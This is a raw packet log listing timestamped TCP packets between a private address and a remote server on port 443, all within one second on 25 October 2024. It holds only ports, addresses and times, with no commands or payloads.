Oct 25, 2024 10:17:28.513724089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.513747931 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.513804913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.513828993 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.513839960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.513873100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.513912916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.513961077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514004946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514055014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514065981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514096022 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514120102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514146090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514184952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514223099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514233112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514280081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514302015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514323950 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514369011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514419079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514430046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514461040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514478922 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514508009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514550924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514601946 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514612913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514645100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514662981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514689922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514725924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514766932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514779091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514806032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514846087 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514867067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514904022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514940977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.514950991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.514977932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515011072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515042067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515085936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515125990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515136003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515167952 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515192032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515228987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515264988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515305996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515331030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515360117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515391111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515408039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515445948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515485048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515495062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515525103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515583038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515626907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515628099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515661001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515667915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515703917 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515752077 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515811920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515858889 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515902996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515913963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.515965939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515965939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.515997887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516035080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516069889 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516081095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516123056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516144037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516172886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516216993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516257048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516268015 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516299963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516324043 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516335964 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516376972 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516412020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516422987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516448975 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516473055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516493082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516529083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516581059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516592026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516642094 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516652107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516657114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516674995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516715050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516720057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516757011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516767979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516794920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516838074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516844034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516860008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516895056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.516907930 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516946077 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.516954899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517003059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517016888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517024994 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517036915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517081022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517106056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517117023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517168999 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517185926 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517205000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517255068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517296076 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517307043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517354012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517380953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517396927 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517407894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517443895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517461061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517482042 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517492056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517524958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517575979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517580986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517602921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517637014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517646074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517683029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517693043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517719030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517755985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517774105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517811060 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517844915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517854929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517903090 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517920017 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.517947912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.517990112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518026114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518035889 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518069983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518107891 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518121004 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518158913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518192053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518202066 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518249035 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518265963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518300056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518336058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518373013 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518383980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518440008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518440962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518460035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518501997 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518562078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518573046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518596888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518626928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518632889 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518652916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518695116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518696070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518733978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518743992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518770933 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518799067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518834114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518868923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518904924 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518914938 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.518948078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.518966913 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519027948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519073009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519108057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519118071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519150972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519171000 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519207001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519253016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519292116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519303083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519345045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519366026 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519414902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519450903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519486904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519498110 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519531965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519583941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519586086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519603968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519642115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519651890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519678116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519686937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519740105 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519777060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519777060 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519797087 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519829988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519844055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519889116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519900084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519968987 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.519978046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.519999981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520041943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520052910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520068884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520143032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520143032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520205975 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520241976 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520278931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520289898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520339012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520339012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520374060 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520432949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520492077 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520503044 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520531893 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520567894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520613909 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520657063 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520704985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520715952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520760059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520771027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520778894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520791054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520828962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520854950 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520865917 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.520895958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520924091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.520992994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521029949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521066904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521076918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521109104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521125078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521188974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521231890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521259069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521269083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521298885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521317005 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521365881 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521385908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521439075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521441936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521454096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521491051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521502018 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521512032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521538973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521570921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521576881 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521591902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521615028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521615028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521655083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521660089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521682024 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521701097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521712065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521742105 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521748066 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521759033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521774054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521780014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521820068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521825075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521858931 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521859884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521876097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521907091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521912098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521946907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521962881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521969080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.521982908 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.521987915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522041082 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522042990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522054911 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522097111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522109985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522125959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522126913 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522144079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522166967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522167921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522222996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522229910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522242069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522270918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522304058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522311926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522325039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522339106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522351027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522381067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522387028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522424936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522430897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522449017 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522459984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522464991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522505045 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522517920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522528887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522588015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522594929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522603989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522624969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522643089 CEST	58442	443	192.168.2.17	104.16.231.132
